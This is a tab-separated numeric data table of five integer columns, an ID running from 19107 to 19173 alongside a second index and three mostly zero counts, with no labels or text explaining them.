19107	163	1	0	0
19107	182	1	0	0
19107	190	1	0	0
19107	206	1	0	0
19107	210	1	0	0
19107	229	1	0	0
19107	232	1	0	0
19107	238	1	0	0
19107	243	1	0	0
19107	283	2	0	0
19107	285	1	0	0
19108	2	1	0	0
19108	8	2	1	87720
19108	11	1	0	0
19108	40	1	0	0
19108	49	2	0	115
19108	51	1	0	0
19108	79	1	0	0
19108	102	1	0	0
19108	136	3	0	115
19108	137	2	0	115
19108	209	2	0	0
19108	230	1	0	0
19108	231	1	0	0
19108	263	2	0	115
19108	273	1	0	0
19108	275	2	0	115
19109	47	1	0	0
19109	49	1	0	0
19109	51	1	0	0
19109	52	1	0	0
19109	53	1	0	0
19109	54	5	0	0
19109	55	1	0	0
19109	59	3	0	115
19109	66	1	0	0
19109	71	1	0	0
19109	87	1	0	0
19109	95	1	0	0
19109	99	1	0	0
19109	165	2	0	115
19109	166	1	0	0
19109	209	1	0	0
19109	238	1	0	0
19109	256	1	0	0
19109	260	2	0	115
19109	264	1	0	0
19109	268	1	0	0
19109	283	1	0	0
19110	10	1	0	0
19110	51	2	0	0
19110	59	1	0	0
19110	64	2	0	0
19110	65	1	0	0
19110	73	1	0	0
19110	155	1	0	0
19110	157	1	0	0
19110	175	1	0	0
19110	185	1	0	0
19110	190	1	0	0
19110	197	1	0	0
19110	240	1	0	0
19111	12	2	1	87670
19111	15	2	0	115
19111	30	1	0	0
19111	31	1	0	0
19111	57	1	0	0
19111	60	1	0	0
19111	61	1	0	0
19111	86	1	0	0
19111	130	2	0	115
19111	135	1	0	0
19111	175	3	0	115
19111	191	1	0	0
19111	204	1	0	0
19111	208	1	0	0
19111	267	1	0	0
19111	278	1	0	0
19112	0	1	0	0
19112	6	1	0	0
19112	10	1	0	0
19112	51	1	0	0
19112	52	1	0	0
19112	75	1	0	0
19112	106	1	0	0
19112	117	1	0	0
19112	134	1	0	0
19112	161	1	0	0
19112	172	1	0	0
19112	183	3	0	0
19112	184	3	0	0
19112	195	1	0	0
19112	260	2	0	0
19112	273	1	0	0
19113	5	1	0	0
19113	19	1	0	0
19113	25	2	0	0
19113	50	2	0	0
19113	53	3	0	0
19113	54	2	0	0
19113	97	1	0	0
19113	108	1	0	0
19113	161	1	0	0
19113	179	1	0	0
19113	187	1	0	0
19113	208	1	0	0
19113	218	1	0	0
19113	231	2	0	0
19113	242	1	0	0
19113	258	2	0	115
19113	274	4	0	0
19113	283	2	0	115
19114	16	1	0	0
19114	73	1	0	0
19114	82	1	0	0
19114	96	1	0	0
19114	102	1	0	0
19114	108	2	0	115
19114	115	1	0	0
19114	173	1	0	0
19114	175	1	0	0
19114	188	1	0	0
19114	196	2	0	0
19114	200	1	0	0
19114	243	1	0	0
19114	253	2	0	115
19114	257	1	0	0
19114	282	1	0	0
19114	285	1	0	0
19115	7	1	0	0
19115	13	1	0	0
19115	44	1	0	0
19115	53	1	0	0
19115	55	1	0	0
19115	67	1	0	0
19115	73	1	0	0
19115	83	1	0	0
19115	88	2	0	0
19115	112	1	0	0
19115	158	1	0	0
19115	161	1	0	0
19115	184	1	0	0
19115	198	1	0	0
19115	207	1	0	0
19115	215	1	0	0
19115	218	1	0	0
19115	222	1	0	0
19115	228	1	0	0
19115	233	1	0	0
19115	234	1	0	0
19115	267	1	0	0
19115	280	1	0	0
19116	7	1	0	0
19116	32	2	0	0
19116	45	1	0	0
19116	50	1	0	0
19116	52	3	0	115
19116	55	1	0	0
19116	63	1	0	0
19116	67	1	0	0
19116	75	1	0	0
19116	96	1	0	0
19116	107	1	0	0
19116	109	1	0	0
19116	116	1	0	0
19116	119	1	0	0
19116	120	1	0	0
19116	127	1	0	0
19116	138	1	0	0
19116	174	2	0	115
19116	200	1	0	0
19116	204	1	0	0
19116	237	1	0	0
19116	245	1	0	0
19116	247	1	0	0
19117	18	1	0	0
19117	26	1	0	0
19117	37	1	0	0
19117	39	1	0	0
19117	43	2	0	115
19117	51	3	0	0
19117	59	1	0	0
19117	86	2	0	0
19117	91	1	0	0
19117	102	1	0	0
19117	130	1	0	0
19117	139	1	0	0
19117	141	2	0	115
19117	145	1	0	0
19117	147	1	0	115
19117	155	1	0	0
19117	158	1	0	0
19117	165	1	0	0
19117	167	1	0	0
19117	185	1	0	0
19117	204	1	0	0
19117	205	2	0	0
19117	210	1	0	0
19117	221	2	0	0
19117	225	1	0	0
19117	242	1	0	0
19117	247	3	0	115
19117	256	1	0	0
19117	267	1	0	0
19117	269	1	0	0
19117	272	1	0	0
19117	276	1	0	0
19118	1	1	0	0
19118	19	2	0	115
19118	22	1	0	0
19118	26	2	0	0
19118	33	1	0	0
19118	42	1	0	0
19118	55	1	0	0
19118	68	1	0	0
19118	71	1	0	0
19118	72	1	0	0
19118	73	1	0	0
19118	101	1	0	0
19118	109	1	0	0
19118	140	2	0	115
19118	154	1	0	0
19118	207	1	0	0
19118	212	1	0	0
19118	238	2	0	0
19118	243	2	0	115
19118	245	1	0	0
19118	246	1	0	0
19118	259	1	0	0
19118	265	1	0	0
19118	267	2	0	0
19118	269	2	0	0
19118	273	2	0	0
19118	274	1	0	0
19119	7	1	0	0
19119	9	1	0	0
19119	20	1	0	0
19119	44	1	0	0
19119	72	1	0	0
19119	73	1	0	0
19119	81	1	0	0
19119	85	1	0	0
19119	101	1	0	0
19119	108	4	0	0
19119	109	6	0	0
19119	110	1	0	0
19119	125	1	0	0
19119	137	1	0	0
19119	161	1	0	0
19119	162	1	0	0
19119	165	1	0	0
19119	173	1	0	0
19119	180	1	0	0
19119	230	1	0	0
19119	237	1	0	0
19119	263	1	0	0
19119	275	3	1	87670
19119	276	1	0	0
19119	282	1	0	0
19119	286	1	0	0
19120	6	1	0	0
19120	10	1	0	0
19120	29	1	0	0
19120	34	1	0	0
19120	35	1	0	0
19120	37	1	0	0
19120	42	1	0	0
19120	47	1	0	0
19120	49	2	0	0
19120	50	1	0	0
19120	55	1	0	0
19120	65	1	0	0
19120	67	1	0	0
19120	71	1	0	0
19120	89	1	0	0
19120	96	1	0	0
19120	106	2	0	0
19120	107	1	0	0
19120	109	1	0	0
19120	110	1	0	0
19120	123	1	0	0
19120	140	2	0	115
19120	154	1	0	0
19120	161	1	0	0
19120	197	1	0	0
19120	205	1	0	0
19120	207	1	0	0
19120	210	1	0	0
19120	234	1	0	0
19120	249	1	0	0
19120	251	3	0	115
19120	255	1	0	0
19120	269	1	0	0
19121	2	1	0	0
19121	13	1	0	0
19121	43	1	0	0
19121	48	2	0	0
19121	51	2	0	0
19121	52	2	0	0
19121	54	1	0	0
19121	83	1	0	0
19121	90	1	0	0
19121	92	2	0	115
19121	103	1	0	0
19121	130	1	0	0
19121	133	2	0	0
19121	137	1	0	0
19121	145	1	0	0
19121	157	1	0	0
19121	184	2	0	0
19121	197	1	0	0
19121	204	1	0	0
19121	211	1	0	0
19121	248	2	0	0
19121	254	1	0	0
19121	276	1	0	0
19122	20	1	0	0
19122	22	1	0	0
19122	28	2	0	115
19122	30	1	0	0
19122	52	2	0	0
19122	53	1	0	0
19122	56	1	0	0
19122	64	1	0	0
19122	72	1	0	0
19122	77	2	0	0
19122	87	2	0	0
19122	130	1	0	0
19122	133	1	0	0
19122	153	1	0	0
19122	155	2	0	115
19122	158	2	0	0
19122	163	2	0	230
19122	166	1	0	0
19122	222	1	0	0
19122	241	1	0	0
19122	252	1	0	0
19122	253	1	0	0
19122	268	1	0	0
19122	283	1	0	0
19122	286	1	0	0
19123	10	1	0	0
19123	30	1	0	0
19123	35	1	0	0
19123	48	2	0	115
19123	55	1	0	0
19123	58	2	0	0
19123	59	1	0	0
19123	64	1	0	0
19123	66	1	0	0
19123	70	1	0	0
19123	73	1	0	0
19123	78	1	0	0
19123	79	1	0	0
19123	112	1	0	0
19123	117	1	0	0
19123	118	2	0	0
19123	123	1	0	0
19123	131	1	0	0
19123	143	1	0	0
19123	145	2	0	115
19123	165	2	0	115
19123	166	2	0	115
19123	183	2	0	115
19123	186	1	0	0
19123	192	1	0	0
19123	225	1	0	0
19123	232	1	0	0
19123	241	1	0	0
19123	247	2	1	87668
19123	251	1	0	0
19123	255	1	0	0
19123	263	1	0	0
19123	266	1	0	0
19123	281	1	0	0
19124	1	1	0	0
19124	11	1	0	0
19124	18	1	0	0
19124	35	1	0	0
19124	38	1	0	0
19124	48	1	0	0
19124	49	1	0	0
19124	50	1	0	0
19124	51	1	0	0
19124	66	1	0	0
19124	70	1	0	0
19124	101	2	0	0
19124	128	1	0	0
19124	151	1	0	0
19124	155	1	0	0
19124	169	1	0	0
19124	179	1	0	0
19124	186	1	0	0
19124	188	2	0	0
19124	194	1	0	0
19124	199	1	0	0
19124	213	1	0	0
19124	224	1	0	0
19124	229	1	0	0
19124	239	1	0	0
19124	242	1	0	0
19124	244	1	0	0
19125	9	1	0	0
19125	11	1	0	0
19125	23	1	0	0
19125	27	1	0	0
19125	39	1	0	0
19125	50	1	0	0
19125	51	1	0	0
19125	67	1	0	0
19125	72	1	0	0
19125	86	2	0	115
19125	88	1	0	0
19125	95	1	0	0
19125	100	1	0	0
19125	118	1	0	0
19125	128	1	0	0
19125	140	2	0	416
19125	142	1	0	0
19125	158	1	0	0
19125	167	1	0	0
19125	189	2	0	115
19125	240	4	0	115
19125	274	1	0	0
19125	276	1	0	0
19126	19	2	0	0
19126	22	2	0	0
19126	26	1	0	0
19126	28	1	0	0
19126	39	1	0	0
19126	50	1	0	0
19126	51	1	0	0
19126	198	2	0	115
19126	224	1	0	0
19126	226	1	0	0
19126	239	1	0	0
19126	260	1	0	0
19126	275	1	0	0
19127	52	1	0	0
19127	54	2	0	0
19127	72	1	0	0
19127	76	2	0	115
19127	84	1	0	0
19127	94	1	0	0
19127	96	1	0	0
19127	125	1	0	0
19127	165	2	0	416
19127	175	1	0	0
19127	187	1	0	0
19127	212	1	0	0
19127	218	2	0	0
19127	245	1	0	0
19127	251	1	0	0
19128	2	1	0	0
19128	38	3	0	115
19128	49	1	0	0
19128	55	1	0	0
19128	58	1	0	0
19128	59	1	0	0
19128	66	1	0	0
19128	115	1	0	0
19128	121	2	0	115
19128	167	1	0	0
19128	170	6	4	406720
19128	193	1	0	0
19128	260	1	0	0
19128	269	1	0	0
19129	21	2	0	115
19129	53	1	0	0
19129	54	1	0	0
19129	91	2	0	115
19129	174	1	0	0
19129	182	1	0	0
19129	190	2	0	416
19129	223	2	0	115
19129	234	1	0	0
19129	249	3	0	0
19129	260	1	0	0
19129	272	2	0	115
19129	274	1	0	0
19130	2	1	0	0
19130	5	1	0	0
19130	6	1	0	0
19130	11	1	0	0
19130	12	2	0	0
19130	20	1	0	0
19130	28	1	0	0
19130	45	1	0	0
19130	47	1	0	0
19130	50	1	0	0
19130	52	2	0	0
19130	53	1	0	0
19130	66	1	0	0
19130	88	1	0	0
19130	96	1	0	0
19130	135	1	0	0
19130	136	1	0	0
19130	150	2	0	0
19130	165	1	0	0
19130	180	1	0	0
19130	185	1	0	0
19130	214	1	0	0
19130	234	1	0	0
19130	236	2	0	0
19130	237	1	0	0
19130	242	1	0	0
19130	260	1	0	0
19130	261	1	0	0
19130	263	1	0	0
19131	7	1	0	0
19131	11	1	0	0
19131	39	1	0	0
19131	41	1	0	0
19131	47	1	0	0
19131	52	4	0	0
19131	54	1	0	0
19131	66	1	0	0
19131	74	2	0	115
19131	94	2	0	0
19131	123	1	0	0
19131	159	1	0	0
19131	196	1	0	0
19131	210	1	0	0
19131	213	1	0	0
19131	214	3	0	0
19131	245	1	0	0
19131	256	1	0	0
19131	269	1	0	0
19131	286	2	0	115
19132	4	2	0	0
19132	32	1	0	0
19132	57	1	0	0
19132	60	2	0	0
19132	61	4	0	0
19132	64	1	0	0
19132	72	1	0	0
19132	73	1	0	0
19132	110	1	0	0
19132	122	2	0	416
19132	157	3	0	115
19132	190	1	0	0
19132	221	1	0	0
19132	253	1	0	0
19132	262	1	0	0
19132	276	1	0	0
19133	3	1	0	0
19133	52	2	0	0
19133	57	1	0	0
19133	59	1	0	0
19133	67	1	0	0
19133	87	1	0	0
19133	106	1	0	0
19133	127	1	0	0
19133	128	1	0	0
19133	134	2	0	115
19133	158	1	0	0
19133	204	2	0	115
19133	236	1	0	0
19133	245	2	0	416
19133	247	1	0	0
19133	279	1	0	0
19133	284	1	0	0
19134	31	1	0	0
19134	47	3	1	101643
19134	54	1	0	0
19134	77	1	0	0
19134	80	2	0	115
19134	84	1	0	0
19134	85	1	0	115
19134	91	1	0	0
19134	92	1	0	0
19134	98	1	0	0
19134	116	1	0	0
19134	119	1	0	0
19134	123	1	0	0
19134	149	1	0	0
19134	159	1	0	0
19134	162	2	0	115
19134	171	1	0	0
19134	192	1	0	0
19134	218	1	0	0
19134	272	4	0	22448
19134	276	1	0	0
19135	50	1	0	0
19135	53	1	0	0
19135	54	1	0	0
19135	109	2	0	2227
19135	143	2	0	0
19135	144	1	0	0
19135	178	1	0	0
19135	193	1	0	0
19135	198	1	0	0
19135	213	1	0	0
19135	279	1	0	0
19135	287	2	0	416
19136	52	1	0	0
19136	57	2	0	0
19136	76	1	0	0
19136	79	1	0	0
19136	93	1	0	0
19136	164	2	0	115
19136	184	1	0	0
19136	196	1	0	0
19136	199	1	0	0
19136	200	2	1	101693
19136	209	1	0	0
19136	222	1	0	0
19136	226	1	0	0
19136	227	3	0	0
19136	229	1	0	0
19136	250	2	0	416
19137	11	2	0	0
19137	19	1	0	0
19137	46	2	0	0
19137	47	1	0	0
19137	50	1	0	115
19137	54	1	0	0
19137	58	1	0	0
19137	67	3	0	11224
19137	75	1	0	0
19137	114	1	0	0
19137	132	1	0	0
19137	138	1	0	0
19137	139	1	0	0
19137	155	2	0	0
19137	187	1	0	0
19137	189	1	0	0
19137	194	2	0	115
19137	222	1	0	0
19137	227	3	0	0
19137	272	1	0	0
19137	282	2	0	0
19138	2	1	0	0
19138	51	1	0	0
19138	52	1	0	0
19138	56	3	0	0
19138	76	2	0	0
19138	102	2	0	0
19138	111	2	0	115
19138	127	1	0	0
19138	133	1	0	0
19138	150	1	0	0
19138	156	1	0	0
19138	173	1	0	0
19138	176	1	0	0
19138	180	1	0	0
19138	181	3	0	115
19138	183	1	0	0
19138	187	1	0	0
19138	221	1	0	0
19138	226	2	1	101641
19138	251	1	0	0
19138	255	1	0	0
19138	256	1	0	0
19138	266	1	0	0
19138	277	1	0	0
19139	20	2	0	115
19139	43	1	0	0
19139	47	2	0	115
19139	49	1	0	0
19139	50	1	0	0
19139	53	1	0	0
19139	54	2	0	115
19139	134	1	0	0
19139	150	1	0	0
19139	151	1	0	0
19139	159	1	0	0
19139	162	1	0	0
19139	164	1	0	0
19139	184	1	0	0
19139	202	1	0	0
19139	203	3	0	2641
19139	252	1	0	0
19139	282	1	0	0
19140	2	1	0	0
19140	30	1	0	0
19140	34	1	0	0
19140	43	1	0	0
19140	51	1	0	0
19140	52	1	0	0
19140	57	1	0	0
19140	79	1	0	0
19140	88	2	0	115
19140	115	1	0	0
19140	117	1	0	0
19140	129	2	0	115
19140	175	3	0	2641
19140	183	1	0	0
19140	187	1	0	0
19140	188	1	0	0
19140	220	1	0	0
19140	245	1	0	0
19140	261	1	0	0
19141	0	1	0	0
19141	15	1	0	0
19141	50	1	0	0
19141	53	2	0	0
19141	68	1	0	0
19141	78	1	0	0
19141	92	1	0	0
19141	125	1	0	0
19141	138	2	0	0
19141	143	1	0	0
19141	170	1	0	0
19141	176	1	0	0
19141	177	1	0	0
19141	208	1	0	416
19141	230	1	0	0
19141	247	1	0	0
19141	254	2	0	115
19141	272	6	4	406720
19141	276	1	0	0
19142	3	1	0	0
19142	28	2	0	115
19142	54	1	0	0
19142	119	1	0	0
19142	129	1	0	0
19142	146	4	3	305027
19142	163	5	0	0
19142	194	1	0	0
19142	215	1	0	0
19142	226	1	0	0
19142	276	1	0	0
19143	23	2	0	115
19143	31	1	0	0
19143	33	1	0	0
19143	44	1	0	0
19143	45	1	0	0
19143	54	2	0	115
19143	56	2	0	0
19143	66	1	0	0
19143	87	1	0	0
19143	88	1	0	0
19143	89	2	1	764
19143	98	1	0	0
19143	114	2	0	0
19143	118	2	0	0
19143	131	1	0	0
19143	165	1	0	0
19143	171	2	0	0
19143	184	2	0	115
19143	276	1	0	0
19143	286	2	0	416
19144	10	1	0	0
19144	19	3	0	0
19144	21	1	0	0
19144	54	1	0	0
19144	55	1	0	0
19144	57	2	0	0
19144	61	1	0	0
19144	63	2	0	115
19144	67	1	0	0
19144	124	1	0	0
19144	125	1	0	0
19144	149	1	0	0
19144	172	1	0	0
19144	199	1	0	0
19144	207	1	0	0
19144	223	1	0	0
19144	237	2	0	0
19144	242	1	0	0
19144	254	3	1	101643
19144	259	1	0	0
19145	9	1	0	0
19145	14	1	0	0
19145	54	2	0	0
19145	55	1	0	0
19145	74	1	0	0
19145	84	2	0	0
19145	101	1	0	0
19145	103	1	0	0
19145	114	1	0	0
19145	142	1	0	0
19145	143	1	0	0
19145	154	1	0	0
19145	155	1	0	0
19145	160	2	0	0
19145	167	1	0	0
19145	181	2	0	115
19145	185	2	0	115
19145	192	1	0	0
19145	198	1	0	0
19145	203	1	0	0
19145	211	1	0	0
19145	242	1	0	0
19145	245	2	0	0
19145	254	2	0	115
19145	263	1	0	0
19145	276	1	0	0
19146	8	1	0	0
19146	15	1	0	0
19146	53	1	0	0
19146	54	1	0	0
19146	57	1	0	0
19146	107	1	0	0
19146	110	1	0	0
19146	148	1	0	0
19146	158	2	0	115
19146	160	1	0	0
19146	162	1	0	0
19146	165	1	0	115
19146	182	1	0	0
19146	216	1	0	0
19146	218	1	0	0
19146	219	1	0	0
19146	222	3	0	0
19146	230	2	0	0
19146	238	1	0	0
19146	249	1	0	0
19146	256	1	0	0
19146	265	1	0	0
19146	279	1	0	0
19147	6	1	0	0
19147	10	1	0	0
19147	53	1	0	0
19147	55	1	0	0
19147	60	1	0	0
19147	63	1	0	0
19147	79	1	0	0
19147	158	1	0	0
19147	160	1	0	0
19147	161	1	0	0
19147	163	1	0	0
19147	184	1	0	0
19147	188	1	0	0
19147	192	1	0	0
19147	219	2	0	416
19147	272	1	0	0
19147	282	1	0	0
19148	4	1	0	0
19148	27	1	0	0
19148	31	1	0	0
19148	36	1	0	0
19148	53	1	0	0
19148	57	1	0	0
19148	62	2	0	0
19148	85	2	0	115
19148	102	1	0	0
19148	108	1	0	0
19148	109	1	0	0
19148	111	1	0	0
19148	129	1	0	0
19148	142	2	0	0
19148	151	1	0	0
19148	155	1	0	0
19148	162	1	0	0
19148	167	1	0	0
19148	173	1	0	0
19148	194	1	0	0
19148	196	1	0	0
19148	207	1	0	0
19148	225	1	0	0
19148	232	1	0	0
19148	249	1	0	0
19148	251	2	1	101641
19148	268	1	0	0
19148	285	1	0	0
19148	286	1	0	0
19149	41	2	0	0
19149	45	1	0	0
19149	50	1	0	0
19149	59	1	0	0
19149	72	1	0	0
19149	99	1	0	0
19149	115	2	0	115
19149	149	2	0	1499
19149	188	1	0	0
19149	249	1	0	0
19149	251	1	0	0
19149	270	1	0	0
19150	4	2	0	115
19150	8	1	0	0
19150	19	2	0	115
19150	37	1	0	0
19150	41	1	0	0
19150	52	1	0	0
19150	58	1	0	0
19150	62	1	0	0
19150	81	1	0	0
19150	82	2	0	0
19150	120	1	0	0
19150	131	1	0	0
19150	132	2	0	0
19150	145	1	0	0
19150	149	1	0	0
19150	170	2	0	115
19150	179	1	0	0
19150	187	1	0	115
19150	228	1	0	0
19150	241	1	0	0
19150	263	1	0	0
19150	264	1	0	0
19150	271	1	0	0
19151	29	1	0	0
19151	31	1	0	0
19151	53	1	0	0
19151	56	1	0	0
19151	59	1	0	0
19151	70	3	2	203386
19151	72	4	0	0
19151	159	1	0	0
19151	172	1	0	0
19151	173	3	0	0
19151	200	1	0	0
19151	205	1	0	0
19151	237	1	0	0
19151	239	2	0	0
19151	249	3	1	101643
19152	1	1	0	0
19152	8	1	0	0
19152	13	2	0	0
19152	43	2	0	0
19152	52	1	0	0
19152	56	1	0	0
19152	76	1	0	0
19152	80	1	0	0
19152	130	1	0	0
19152	171	2	0	0
19152	174	1	0	0
19152	177	2	0	115
19152	196	1	0	0
19152	201	1	0	0
19152	204	2	0	115
19152	205	1	0	0
19152	208	2	0	0
19152	209	2	0	115
19152	212	1	0	0
19152	240	1	0	0
19153	18	1	0	0
19153	36	1	0	0
19153	41	1	0	0
19153	50	1	0	0
19153	54	2	0	0
19153	58	1	0	0
19153	59	1	0	0
19153	60	1	0	0
19153	69	2	0	115
19153	114	1	0	0
19153	118	2	0	416
19153	135	2	0	115
19153	141	1	0	0
19153	167	3	0	0
19153	174	2	0	0
19153	175	5	0	0
19153	176	5	0	0
19153	177	3	0	0
19153	253	1	0	0
19153	266	2	1	101693
19153	267	2	1	101641
19153	271	1	0	0
19154	50	1	0	0
19154	56	1	0	0
19154	73	3	1	101643
19154	81	1	0	0
19154	102	1	0	0
19154	105	2	0	0
19154	108	1	0	0
19154	117	1	0	0
19154	122	1	0	0
19154	124	2	0	0
19154	165	1	0	0
19154	172	2	0	115
19154	177	1	0	0
19154	180	1	0	0
19154	188	2	0	0
19154	192	3	0	0
19154	209	1	0	0
19154	248	1	0	0
19155	19	1	0	0
19155	53	1	0	0
19155	54	1	0	0
19155	61	1	0	0
19155	66	1	0	0
19155	70	1	0	0
19155	84	1	0	0
19155	106	1	0	0
19155	128	1	0	0
19155	133	1	0	0
19155	150	1	0	0
19155	156	1	0	0
19155	161	1	0	0
19155	164	1	0	0
19155	175	1	0	0
19155	200	1	0	0
19155	201	1	0	0
19155	207	1	0	0
19155	209	2	0	416
19155	215	1	0	0
19155	263	2	0	0
19156	20	1	0	0
19156	42	2	0	115
19156	47	1	0	115
19156	49	1	0	0
19156	65	1	0	0
19156	75	1	0	0
19156	82	1	0	0
19156	115	1	0	0
19156	123	1	0	0
19156	128	1	0	0
19156	129	1	0	0
19156	137	1	0	0
19156	141	1	0	0
19156	147	1	0	0
19156	164	1	0	0
19156	177	1	0	0
19156	179	1	0	0
19156	184	1	0	0
19156	231	1	0	0
19156	268	1	0	0
19156	274	2	0	115
19157	48	1	0	0
19157	49	2	0	115
19157	52	1	0	0
19157	74	1	0	0
19157	87	1	0	0
19157	134	2	0	416
19157	148	1	0	0
19157	171	1	0	0
19157	211	1	0	0
19157	231	1	0	0
19157	234	1	0	0
19157	241	1	0	0
19157	247	1	0	0
19157	262	1	0	0
19157	278	2	0	416
19158	0	1	0	0
19158	1	2	0	0
19158	9	2	0	0
19158	10	3	0	0
19158	11	2	0	0
19158	14	1	0	0
19158	15	1	0	0
19158	17	1	0	0
19158	31	1	0	115
19158	32	1	0	0
19158	43	1	0	0
19158	45	1	0	0
19158	56	1	0	0
19158	68	2	0	115
19158	78	2	0	0
19158	102	1	0	0
19158	103	2	0	115
19158	104	1	0	0
19158	117	1	0	0
19158	121	2	0	0
19158	123	1	0	0
19158	192	1	0	0
19158	210	1	0	0
19158	218	1	0	0
19158	230	1	0	0
19158	252	1	0	0
19158	271	3	0	0
19159	5	1	0	0
19159	14	1	0	0
19159	16	1	0	0
19159	40	1	0	0
19159	51	2	0	0
19159	88	1	0	0
19159	105	1	0	0
19159	132	2	0	115
19159	140	7	4	406720
19159	202	1	0	0
19159	263	1	0	0
19159	267	1	0	0
19159	277	2	0	115
19159	280	2	0	115
19160	5	1	0	0
19160	21	1	0	0
19160	30	2	0	416
19160	51	2	0	0
19160	90	1	0	0
19160	135	1	0	0
19160	138	2	0	0
19160	157	1	0	0
19160	185	1	0	0
19160	235	1	0	0
19160	238	1	0	0
19160	239	1	0	0
19160	250	1	0	0
19160	255	1	0	0
19160	264	1	0	0
19161	10	1	0	115
19161	11	3	0	0
19161	32	1	0	0
19161	47	1	0	0
19161	62	1	0	0
19161	68	1	0	0
19161	104	1	0	0
19161	123	2	0	115
19161	138	1	0	0
19161	142	1	0	0
19161	160	1	0	0
19161	166	1	0	0
19161	169	1	0	0
19161	174	1	0	0
19161	182	1	0	0
19161	194	3	0	115
19161	211	1	0	0
19161	219	1	0	0
19161	237	1	0	0
19161	245	1	0	0
19161	250	1	0	0
19161	253	1	0	0
19161	265	1	0	0
19161	268	1	0	0
19161	269	1	0	0
19161	282	1	0	0
19161	283	1	0	0
19162	1	2	0	0
19162	10	1	0	0
19162	20	1	0	0
19162	52	1	0	0
19162	53	1	0	0
19162	56	1	0	0
19162	84	1	0	416
19162	114	2	0	115
19162	118	1	0	0
19162	128	4	3	20358
19162	156	1	0	0
19162	164	1	0	0
19162	250	1	0	0
19162	251	2	0	0
19163	1	1	0	0
19163	13	1	0	0
19163	40	1	0	0
19163	46	1	0	0
19163	55	1	0	0
19163	61	1	0	0
19163	111	1	0	0
19163	144	1	0	0
19163	162	2	0	115
19163	170	1	0	0
19163	189	2	0	115
19163	225	1	0	0
19163	235	1	0	0
19163	238	1	0	0
19163	251	2	0	0
19163	264	1	0	0
19164	9	1	0	0
19164	17	2	0	115
19164	50	1	0	0
19164	53	1	0	0
19164	72	1	0	0
19164	123	1	0	0
19164	162	1	0	0
19164	191	1	0	0
19164	199	1	0	0
19164	217	1	0	0
19164	225	3	0	0
19164	241	2	0	115
19164	271	2	0	0
19164	272	1	0	0
19164	274	2	0	0
19165	0	2	0	416
19165	12	1	0	0
19165	37	1	0	0
19165	55	1	0	0
19165	58	1	0	0
19165	61	1	0	0
19165	76	1	0	0
19165	133	5	2	13572
19165	138	2	1	6786
19165	158	3	1	6786
19165	175	2	0	0
19165	177	1	0	0
19165	187	1	0	0
19165	192	1	0	0
19165	195	1	0	0
19165	196	2	0	0
19165	210	1	0	0
19165	211	1	0	0
19165	212	1	0	0
19165	217	2	0	0
19165	228	1	0	0
19165	231	2	0	0
19165	238	1	0	0
19165	252	1	0	0
19165	259	1	0	0
19165	269	1	0	0
19165	270	1	0	0
19166	18	2	0	115
19166	19	1	0	0
19166	34	1	0	0
19166	52	1	0	0
19166	55	1	0	0
19166	97	1	0	0
19166	116	1	0	0
19166	117	1	0	0
19166	127	1	0	0
19166	134	3	0	115
19166	137	1	0	0
19166	143	1	0	0
19166	158	1	0	0
19166	196	1	0	0
19166	197	1	0	0
19166	217	2	0	0
19166	218	1	0	0
19166	228	1	0	0
19166	241	1	0	0
19166	269	2	0	0
19166	276	1	0	0
19167	7	2	0	115
19167	10	2	0	115
19167	55	1	0	0
19167	58	1	0	0
19167	79	1	0	0
19167	122	2	0	0
19167	123	1	0	0
19167	129	1	0	0
19167	142	1	0	0
19167	144	1	0	0
19167	145	1	0	0
19167	150	1	0	0
19167	152	1	0	0
19167	163	1	0	0
19167	180	1	0	0
19167	182	1	0	0
19167	219	3	0	115
19167	233	1	0	0
19167	236	1	0	0
19167	247	2	0	0
19167	259	1	0	0
19167	260	1	0	0
19167	280	3	0	3135
19167	284	1	0	1045
19168	1	2	0	115
19168	19	1	0	0
19168	25	2	0	0
19168	48	1	0	0
19168	81	2	0	115
19168	92	2	0	0
19168	94	1	0	0
19168	100	1	0	0
19168	141	1	0	0
19168	169	1	0	0
19168	185	1	0	0
19168	201	1	0	0
19168	206	1	0	0
19168	284	1	0	0
19168	285	1	0	0
19169	16	1	0	0
19169	23	2	0	115
19169	28	1	0	0
19169	48	1	0	0
19169	50	1	0	0
19169	56	1	0	0
19169	69	1	0	0
19169	75	1	0	0
19169	77	1	0	0
19169	83	2	0	115
19169	97	1	0	0
19169	98	4	0	0
19169	99	1	0	0
19169	111	2	0	0
19169	124	2	0	0
19169	132	1	0	0
19169	142	1	0	0
19169	145	1	0	0
19169	172	1	0	0
19169	184	1	0	0
19169	228	2	1	6786
19169	229	3	1	6786
19169	258	3	1	6786
19169	271	1	0	0
19170	1	1	0	0
19170	7	1	0	0
19170	45	1	0	0
19170	52	2	0	0
19170	59	2	0	115
19170	70	1	0	0
19170	89	1	0	0
19170	102	1	0	0
19170	128	2	0	0
19170	149	2	0	0
19170	153	1	0	0
19170	195	2	0	2227
19170	196	1	0	414
19170	211	2	0	115
19170	260	1	0	0
19170	263	1	0	0
19170	264	2	0	0
19170	270	1	0	0
19171	4	1	0	0
19171	10	1	0	0
19171	12	1	0	0
19171	17	1	0	0
19171	18	1	0	0
19171	45	2	0	115
19171	48	1	0	0
19171	59	1	0	0
19171	63	2	0	0
19171	68	3	0	0
19171	123	1	0	0
19171	139	1	0	0
19171	154	1	0	0
19171	172	1	0	0
19171	174	1	0	0
19171	182	2	0	115
19171	218	5	3	10765
19171	224	2	0	0
19171	225	2	0	0
19171	239	1	0	0
19171	246	2	0	0
19171	253	2	0	0
19171	261	5	2	0
19171	282	1	0	0
19172	7	4	0	230
19172	12	3	0	0
19172	20	2	0	0
19172	25	1	0	0
19172	33	1	0	0
19172	40	4	0	0
19172	42	1	0	0
19172	52	2	0	0
19172	56	2	0	0
19172	57	2	0	0
19172	68	3	1	6786
19172	88	1	0	0
19172	93	1	0	0
19172	102	1	0	0
19172	103	1	0	0
19172	125	1	0	0
19172	130	1	0	0
19172	139	1	0	0
19172	146	6	4	27144
19172	163	1	0	0
19172	199	1	0	0
19172	201	1	0	0
19172	226	1	0	0
19172	266	1	0	0
19172	269	1	0	0
19172	274	5	3	0
19172	275	2	1	0
19172	278	1	0	0
19172	286	2	0	115
19173	9	1	0	0
19173	50	1	0	0
19173	54	2	0	0
19173	61	1	0	0
19173	70	1	0	0
19173	75	1	0	0
19173	85	1	0	0
19173	99	1	0	0
19173	101	1	0	0
19173	102	1	0	0
19173	120	1	0	0
19173	184	1	0	0
19173	199	2	0	0
19173	220	1	0	0
19173	230	1	0	0
19173	241	2	0	0
19173	252	1	0	0
19173	253	2	0	0
19173	255	2	0	0
19173	269	1	0	0
19173	274	2	0	115
19173	277	1	0	0
19173	280	2	0	0
19173	284	1	0	0
19173	285	1	0	0
